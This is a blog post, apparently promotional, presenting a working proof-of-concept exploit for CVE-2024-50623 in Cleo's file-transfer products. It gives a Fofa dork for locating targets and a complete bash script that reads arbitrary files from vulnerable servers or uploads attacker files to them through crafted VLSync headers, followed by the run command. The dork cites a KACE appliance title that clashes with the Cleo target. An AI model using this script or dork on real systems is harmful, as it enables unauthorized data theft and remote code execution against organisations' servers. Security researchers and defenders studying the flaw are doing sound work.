POC — CVE-2024–50623- Cleo Unrestricted file upload and download

 ✨ click here for free link

Overview

CVE-2024–50623 is a critical vulnerability identified in Cleo’s file transfer software products — Cleo Harmony, Cleo VLTrader, and Cleo LexiCom — versions prior to 5.8.0.21. This flaw allows for unrestricted file uploads and downloads, potentially leading to remote code execution.

Affected Devices

  • Cleo Harmony (prior to version 5.8.0.21)
  • Cleo VLTrader (prior to version 5.8.0.21)
  • Cleo LexiCom (prior to version 5.8.0.21)

Affected Components

The Cleo software automatically processes files from specific directories like autorun without proper validation or sandboxing. This creates a security risk because attackers can write arbitrary files to these directories, which are then executed by the software.

Read about it — CVE-2024–50623

Disclaimer: This Proof of Concept (POC) is made for educational and ethical testing purposes only. Usage of this tool for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state, and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

Getting Started

Finding Targets

To find potential targets, use Fofa (similar to Shodan.io):

Fofa Dork: body=”packages/partnerlogos/userportal_logo” && title=”KACE Systems Management Appliance Service Center”

Cloning the Repository

First, clone the repository:

git clone https://github.com/verylazytech/CVE-2024-50623

Or Just copy:

# CVE-2024-50623 POC - Cleo Unrestricted file upload and download
# FOFA body="packages/partnerlogos/userportal_logo" && title="KACE Systems Management Appliance Service Center"
# Medium https://medium.com/@verylazytech
# Github https://github.com/verylazytech
# My Shop https://buymeacoffee.com/verylazytech/extras
# https://www.verylazytech.com

#!/usr/bin/env bash

banner() {
cat <<'EOF'
  ______     _______   ____   ___ ____  _  _     ____   ___   __  ____  _____ 
 / ___\ \   / / ____| |___ \ / _ \___ \| || |   | ___| / _ \ / /_|___ \|___ / 
| |    \ \ / /|  _|     __) | | | |__) | || |_  |___ \| | | | '_ \ __) | |_ \ 
| |___  \ V / | |___   / __/| |_| / __/|__   _|  ___) | |_| | (_) / __/ ___) |
 \____|  \_/  |_____| |_____\___/_____|  |_|    |____/ \___/ \___/_____|____/ 
                                                                              
__     __                _                      _____         _     
\ \   / /__ _ __ _   _  | |    __ _ _____   _  |_   _|__  ___| |__  
 \ \ / / _ \ '__| | | | | |   / _` |_  / | | |   | |/ _ \/ __| '_ \ 
  \ V /  __/ |  | |_| | | |__| (_| |/ /| |_| |   | |  __/ (__| | | |
   \_/ \___|_|   \__, | |_____\__,_/___|\__, |   |_|\___|\___|_| |_|
                 |___/                  |___/                       
                                                                      
                    @VeryLazyTech - Medium
                    
EOF
}

# Call the banner function
banner

set -e

# Function to print usage
usage() {
  echo "Usage: $0 -t <target_url> -a <read|write> -f <file_path> [--w <local_file_to_write>] [--proxy <proxy_url>]"
  exit 1
}

# Parse arguments
while [ $# -gt 0 ]; do
  case "$1" in
    -t)
      TARGET="$2"
      shift
      shift
      ;;
    -a)
      ACTION="$2"
      shift
      shift
      ;;
    -f)
      WHERE="$2"
      shift
      shift
      ;;
    -w)
      WHAT="$2"
      shift
      shift
      ;;
    --proxy)
      PROXY="$2"
      shift
      shift
      ;;
    *)
      usage
      ;;
  esac
done

# Check required arguments
if [ -z "$TARGET" ] || [ -z "$ACTION" ] || [ -z "$WHERE" ]; then
  usage
fi

# Validate URL format
if ! echo "$TARGET" | grep -qE '^https?://'; then
  echo "[ERROR] Invalid URL format for target"
  exit 1
fi

# Validate file existence for write action
if [ "$ACTION" = "write" ] && [ ! -f "$WHAT" ]; then
  echo "[ERROR] File $WHAT does not exist or is not readable"
  exit 1
fi

TARGET=${TARGET%/}  # Remove trailing slash if present

printf "\033[0;32mAttempting to exploit CVE-2024-50623...\033[0m\n"

# Function for logging
log() {
  local level="$1"
  local message="$2"
  echo "[$(date +'%Y-%m-%d %H:%M:%S')] [$level] $message" | tee -a exploit.log
}

# Extract version function
extract_version() {
  curl -s -k ${PROXY:+--proxy "$PROXY"} "$1/Synchronization" | grep -oP 'Server: .*?/\K[^ ]+'
}

read_file() {
  local target_version=$(extract_version "$1")
  local headers="VLSync: Retrieve;l=Ab1234-RQ0258;n=VLTrader;v=${target_version};a=1337;po=1337;s=True;b=False;pp=1337;path=$2"

  # Fetch the file and log the action
  curl -s -k ${PROXY:+--proxy "$PROXY"} -H "$headers" "$1/Synchronization" | tee -a exploit.log
  log INFO "Reading file: $2"
}


write_file() {
  local target_version=$(extract_version "$1")
  local headers="VLSync: ADD;l=Ab1234-RQ0258;n=VLTrader;v=${target_version};a=1337;po=1337;s=True;b=False;pp=1337;path=$2"

  # Send the file data and log the action
  curl -s -k ${PROXY:+--proxy "$PROXY"} -H "$headers" --data-binary "@$3" "$1/Synchronization" | tee -a exploit.log
  log INFO "Writing file: $2 with data from $3"
}


# Perform actions
case "$ACTION" in
  read)
    log INFO "Action: READ. Target: $TARGET, File: $WHERE"
    read_file "$TARGET" "$WHERE"
    ;;
  write)
    if [[ -z "$WHAT" ]]; then
      log ERROR "--what is required for write action"
      exit 1
    fi
    log INFO "Action: WRITE. Target: $TARGET, File: $WHERE, Data: $WHAT"
    write_file "$TARGET" "$WHERE" "$WHAT"
    ;;
  *)
    log ERROR "Invalid action"
    usage
    ;;
esac

# Output formatting
printf "\n\033[1;33m--- Exploit Complete ---\033[0m\n"

Run the Exploit:

For Linux :

bash ./cve-2024-50623.sh -t <target> -a <read|Write> -f <FileToRead|WhereToWrite> [--w <local_file_to_write>] [--proxy <proxy_url>]

🎉 Join the VeryLazyTech community today and level up your skills! 🎉

Become VeryLazyTech member! 🎁

Follow us on:

Comments

Post a Comment